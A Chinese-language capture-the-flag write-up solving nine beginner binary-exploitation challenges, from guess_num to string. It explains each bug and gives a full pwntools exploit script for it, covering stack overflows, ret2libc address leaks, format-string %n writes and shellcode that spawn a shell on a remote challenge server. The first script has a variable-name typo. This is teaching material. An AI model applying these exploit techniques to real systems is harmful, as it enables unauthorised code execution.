1.guess_num
用checksec查看文件屬性：
用64位的IDA打開：
因為gets()函數(shù)不受輸入限制可能會覆寫掉棧中的返回地址，造成緩沖區(qū)溢出，因此在這利用gets函數(shù)
進入main函數(shù)的?？臻g：
可見var_30（也就是v7）占0x30個字節(jié)，并且當var_30溢出時可覆蓋seed。
關于隨機數(shù)的產生：http://c.biancheng.net/view/2043.html
在這里我們需要知道，rand()函數(shù)根據(jù)種子即seed產生隨機數(shù)，當種子相同時，獲得的隨機數(shù)也相同。對于該題目，我們將隨機種子設置為0或1都可，參考文件中的循環(huán)來寫腳本。
關于ldd命令：https://www.cnblogs.com/wanghetao/p/3779611.html
ldd命令用于判斷某個可執(zhí)行的 binary 檔案含有什么動態(tài)函式庫，本題使用方法：
ldd guess_num
關于ctypes：https://blog.csdn.net/mfq1219/article/details/81945448
ctypes是Python的一個外部庫，提供和C語言兼容的數(shù)據(jù)類型，可以很方便地調用DLL中輸出的C接口函數(shù)
加載dll和取出函數(shù)：
from ctypes import *
dll = cdll.LoadLibrary(dllpath) #dllpath是字符串
exp:
from pwn import *
from ctypes import *
payload = 'a' * 0x20 + p64(1)
io = remote('111.198.29.45',57873)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
io.recvuntil('Your name:')
io.sendline(playload)
libc.srand(1)
for i in range(10):
num = str(libc.rand()%6 + 1)
io.recvuntil('number:')
io.sendline(num)
io.interactive()
參考：http://m.itdecent.cn/p/0bc6c65addfd
2.int_overflow
用checksec查看文件屬性：
沒有開啟Canary（棧保護），可以利用棧溢出漏洞
用32位的IDA打開，F(xiàn)5查看源碼：
進入主函數(shù)
通過代碼，容易分析出程序執(zhí)行過程，再進入login()函數(shù)
可見通過read()函數(shù)可輸入一個長度為0x199的buf（即password），再進入check_passwd()函數(shù)
此時定義了一個無符號的整型v3來存儲password的長度，v3為一個字節(jié)，即8bit。但0x199的二進制位數(shù)明顯超過了8位，故在這里可能存在整數(shù)溢出
關于整數(shù)溢出：整型變量有規(guī)定的有效數(shù)據(jù)長度，當它的數(shù)據(jù)長度超過其有效數(shù)據(jù)長度時，超過的部分就產生溢出，溢出的部分則直接忽略。
常見各類整型占用字節(jié)數(shù)及取值范圍：
C語言中各個數(shù)據(jù)類型所能表示的數(shù)都是有一定的取值范圍的，一旦要表示的數(shù)超出了該數(shù)據(jù)類型的取值范圍，就會從起點開始重新計數(shù)
在本題中，程序規(guī)定輸入的password長度必須在3~8之間，否者視為無效輸入。但由整型溢出原理可知，我們輸入的password長度如果在259~264之間也可通過if語句，因為：
超過8位的數(shù)據(jù)將被忽略，即將259賦值給v3時，v3的值為3
通過if語句之后，會將password拷貝給dest，進入dest的?？臻g
dest的大小為0x14，當password的大小超過0x14后皆可覆蓋后面的ebp和返回地址，又發(fā)現(xiàn)Functions Window里一個特殊的函數(shù)
所以可將strcpy()的返回地址覆蓋為what_is_this()函數(shù)的返回地址，即可得到flag
這里我們password的長度就選取262（259~264之間任意一個數(shù)都可以）
dest的長度為0x14，ebp占4個字節(jié)，what_is_this()函數(shù)的返回地址占四個字節(jié)，故剩余字節(jié)數(shù)為：262-0x14-4-4=234
exp
from pwn import *
elf = ELF('./int_overflow')
io = remote('111.198.29.45',48464)
#io.recvuntil("Your choice:")
#io.sendline("1")
io.sendlineafter("Your choice:","1")
io.sendlineafter("username:","yh")
cat_flag_addr = elf.symbols['what_is_this']
#cat_flag_addr = 0x08048694
payload = 'a' * 0x14 + 'aaaa' + p32(cat_flag_addr) + 234 * 'a'
io.sendlineafter("passwd:",payload)
io.interactive()
參考：
http://www.sohu.com/a/340938352_120054144
https://www.52pojie.cn/thread-1032448-1-1.html
3.when_did_you_born
用checksec查看文件屬性：
開啟了Canary，則無法用覆蓋返回地址的方法了
用64位的IDA打開
程序要求我們分別輸入生日和姓名，并且生日不能為1926，但在我們輸入姓名之后，如果生日為1926才會輸出flag，這就與前面的要求矛盾了
進入main()函數(shù)的?？臻g看一看
可見我們可以通過var_20數(shù)據(jù)的溢出來覆蓋var_18的值，這樣我們輸入名字的時候就可以重新修改生日為1926，通過下面的if語句輸出flag了。由?？臻g變量的分布可知var_20占8個字節(jié)，超過這個長度即可以覆蓋var_18的值了
并且在名字輸入時，采用的函數(shù)為gets()，可以進行溢出
注：gets()不檢查字符串string的大小，必須遇到換行符或文件結尾才會結束輸入，因此容易造成緩存溢出的安全性問題，導致程序崩潰，可以使用fgets()代替。
exp：
from pwn import *
io = remote("111.198.29.45",46596)
io.recvuntil("What's Your Birth?")
io.sendline("2000.1.1")
io.recvuntil("What's Your Name?")
payload = 'a' * 8 + p64(1926)
io.sendline(payload)
io.interactive()
4.cgpwn2
用checksec查看文件屬性：
運行一下：
使用32位的IDA打開，F(xiàn)5反匯編結果如下：
進入hello()函數(shù)，前面一大段代碼似乎沒有什么作用，看最后幾句：
gets()函數(shù)可能造成溢出，并且查看到這個程序有system函數(shù)
則可以利用gets函數(shù)溢出覆蓋修改返回地址為system函數(shù)的地址，但是這個system還缺參數(shù)"/bin/sh"，因此需要我們自己傳入這個參數(shù)
雙擊這里的name進入IDA View-A窗口，可以發(fā)現(xiàn)name是儲存在bbs段中的全局變量，那我就可以將"/bin/sh"寫入name中，將name的地址作為system的參數(shù)傳入
進入hello函數(shù)?？臻g，可發(fā)現(xiàn)s占26個字節(jié)，則還需4個字節(jié)覆蓋ebp
構造的覆蓋數(shù)據(jù)組成為：變量s所占字節(jié)+ebp+system函數(shù)地址+system函數(shù)返回地址+"/bin/sh"參數(shù)地址
exp：
from pwn import *
io = remote("111.198.29.45",56568)
#io = process("./cgpwn2")
elf = ELF('./cgpwn2')
bin_sh_addr = 0x0804A080
sys_addr = elf.symbols['system']
io.recvuntil("your name")
io.sendline("/bin/sh")
io.recvuntil("here:")
payload = 'a' * (0x26 + 0x4) + p32(sys_addr) + 'a' * 4 + p32(bin_sh_addr)
io.sendline(payload)
io.interactive()
5.hello_pwn
用checksec查看文件屬性并運行一下：
再使用64位的IDA打開，F(xiàn)5反匯編查看偽代碼
進入if語句里的函數(shù)看看：
可見，只要dword_60106C == 1853186401這個條件成立，即可得到flag
進入IDA View-A 發(fā)現(xiàn)dword_60106C與unk_601068相隔4個字節(jié)，則構造這樣的unk_601068：'a'*4+1853186401，即可將dword_60106C覆蓋為1853186401
exp:
from pwn import *
r = remote('111.198.29.45',49875)
playload = 'a'*4 + p64(1853186401)
r.recvuntil("lets get helloworld for bof")
r.sendline(playload)
r.interactive()
6.leve2
用checksec查看文件屬性并運行一下：
使用32位的IDA打開，F(xiàn)5反匯編main函數(shù)：
進入vnlnerable_function()看看：
再使用Shift+F12查看字符串窗口，也看見"/bin/sh"，解題思路如下：
通過read()函數(shù)讀入數(shù)據(jù)，構造一個system("/bin/sh")的偽棧幀，vulnerable_function()執(zhí)行結束后返回到我們構造的偽棧幀去執(zhí)行system("bin/sh")，這樣就可以獲取shell。
exp:
from pwn import *
context.log_level = "debug"
elf = ELF('./level2')
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()
playload = 'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0)+ p32(sh_addr)
io = remote('111.198.29.45',35505)
io.sendline(playload)
io.interactive()
7.leve3
用checksec查看文件屬性并運行一下：
用32位的IDA打開，F(xiàn)5反匯編main()函數(shù)查看偽代碼
進入vnlnerable_function()函數(shù)中
存在read()函數(shù)，可以進行溢出，但是查看函數(shù)窗口和字符串窗口，既無system函數(shù)也無/bin/sh字符串
但是存在可以溢出的read函數(shù)與write()函數(shù)，可以用來泄露出system函數(shù)與/bin/sh字符串的地址
關于write()函數(shù)：
因為libc中的函數(shù)的相對地址是固定的，并且在知道libc的版本后各個函數(shù)在其中的相對位置就可以得到。
則需要泄露出write()函數(shù)的相對地址再減去write()函數(shù)在libc中的偏移量即可得到libc的基地址，得到了libc的基地址，再加上system()函數(shù)和"/bin/sh"字符串在libc中的偏移量即可得到它們在的相對位置（在程序中調用使用的是相對位置）
關于GOT表和PLT表：http://m.itdecent.cn/p/f9189b8bf183
exp
1.利用LibcSearcher
#-*-coding:utf-8-*-
from pwn import *
from LibcSearcher import LibcSearcher
import pwnlib
context.terminal = ['gnome-terminal','-x','sh','-c']
sh = remote('111.198.29.45',53647)
elf = ELF('./level3')
write_plt = elf.plt['write'] #獲取plt表中write的地址
write_got = elf.got['write'] #獲取got表中write的地址
vuln = 0x0804844B
print "write_plt = ",hex(write_plt) #分別將plt表中write的地址和vnlnerable()函數(shù)的地址打印出來
print "vuln = ",hex(vuln)
print "leak write_addr and return to vnlnerable function again"
payload = ''
payload += 140 * 'a' #覆蓋read中的buf和ebp
payload += p32(write_plt) #plt表中write的地址填入read()函數(shù)的返回地址
payload += p32(vuln) #將vnlnerable()函數(shù)的地址作為write()函數(shù)的返回地址
payload += p32(1) + p32(write_got) + p32(4) #作為write函數(shù)的參數(shù)，用于泄露write函數(shù)的地址
sh.sendlineafter(':\n',payload)
print "get the related address"
write_addr = u32(sh.recv(4))
print "write_addr = ",hex(write_addr)
libc = LibcSearcher('write',write_addr) #根據(jù)泄露的地址，尋找到對應的libc版本
libcbase = write_addr - libc.dump('write') #用write函數(shù)的相對地址減去在libc中對應的偏移量得到libc的基地址
system_addr = libcbase + libc.dump('system') #用system函數(shù)在libc中的偏移量加上libc的基地址得到system函數(shù)的地址
binsh_addr = libcbase + libc.dump('str_bin_sh')
print "libcbase = ",hex(libcbase)
print "system_addr = ",hex(system_addr)
print "binsh_addr = ",hex(binsh_addr)
payload = ''
payload += 'a' * 140
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(binsh_addr)
sh.sendline(payload)
sh.interactive()
2.直接使用題目給出的libc版本
#-*-coding:utf-8-*-
from pwn import *
sh = remote('111.198.29.45',53647)
elf = ELF('./level3')
libc = ELF('./libc_32.so.6')
write_plt = elf.plt['write']
write_got = elf.got['write']
vuln_addr = elf.symbols['vulnerable_function']
payload = 'a' * 140 + p32(write_plt) + p32(vuln_addr) + p32(1) + p32(write_got) + p32(4)
sh.sendlineafter("Input:\n",payload)
write_got_addr = u32(sh.recv(4))
print 'write_got address is ',hex(write_got_addr)
libc_addr = write_got_addr - libc.symbols['write']
print 'libc_addr is ',hex(libc_addr)
system_addr = libc_addr + libc.symbols['system']
print 'system address is ',hex(system_addr)
binsh_addr = libc_addr + 0x15902B #0x15902b是"/bin/sh"在libc中的地址
# hex(libc.search("/bin/sh").next()) = 0x15902B
print '/bin/sh address is ',hex(binsh_addr)
payload = 'a' * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()
參考：https://www.52pojie.cn/thread-1032651-1-1.html
8.CGfsb
用checksec查看文件屬性并運行一下：
使用32位IDA打開，點擊main()函數(shù)F5查看偽代碼：
可以發(fā)現(xiàn)如果pwnme=8，則可得到flag，雙擊pwnme，進入IDA View-A
發(fā)現(xiàn)pwnme是儲存在bbs段的全局變量，地址為：0804A068。并且該程序沒有開啟PIE保護，則pwnme的地址不會發(fā)生改變
PIE：全稱是position-independent executable，中文解釋為地址無關可執(zhí)行文件，該技術是一個針對代碼段（.text）、數(shù)據(jù)段（.data）、未初始化全局變量段（.bss）等固定地址的一個防護技術，如果程序開啟了PIE保護的話，在每次加載程序時都變換加載地址，從而不能通過ROPgadget等一些工具來幫助解題
箭頭處存在字符串格式化漏洞，可以利用這個來修改pwnme的值
可以發(fā)現(xiàn)s在棧中的偏移量位10
exp
from pwn import *
sh = remote('111.198.29.45',44004)
pwnme_addr = 0x0804A068
sh.sendlineafter('name:','yh')
payload = p32(pwnme_addr) + 'aaaa%10$n' #p32(pwnme)占4字節(jié)，因此還需要4字節(jié)，才能滿足8個字節(jié)
sh.sendlineafter('please:',payload)
sh.interactive()
幾點補充的知識：
①%x是輸出16進制數(shù)據(jù)，08表示寬度為8，不足8為左邊按0補齊
②%n：將%n之前printf已經(jīng)打印的字符個數(shù)賦值給偏移處指針所指向的地址位置
③%K$n：其中的K表示對第幾個參數(shù)進行相應操作
9.string
shellcode的生成方法：
https://blog.csdn.net/qq_35495684/article/details/79583232
exp:
#encoding=utf-8
from pwn import *
context(arch = 'amd64', os = 'linux') #指明環(huán)境,為生成shellcode做準備
p = remote('111.198.29.45',32405)
p.recvuntil('secret[0] is ')
v3_addr=int(p.recv(7),16) #提取v4的地址，并且轉化為16進制
#v3_addr=int(p.recvuntil('/n')[:-1],16) [:-1]用于去除末尾的/n
p.sendlineafter("What should your character's name be:","asd")
p.sendlineafter("So, where you will go?east or up?:","east")
p.sendlineafter("go into there(1), or leave(0)?:","1")
p.sendlineafter("'Give me an address'",str(v3_addr))
payload = "%85c%7$n" #format的偏移量為8，v2在format前面一位，因此偏移量為7
p.sendlineafter("And, you wish is:",payload)
shellcode = asm(shellcraft.sh())
p.sendlineafter('Wizard: I will help you! USE YOU SPELL',shellcode)
p.interactive()
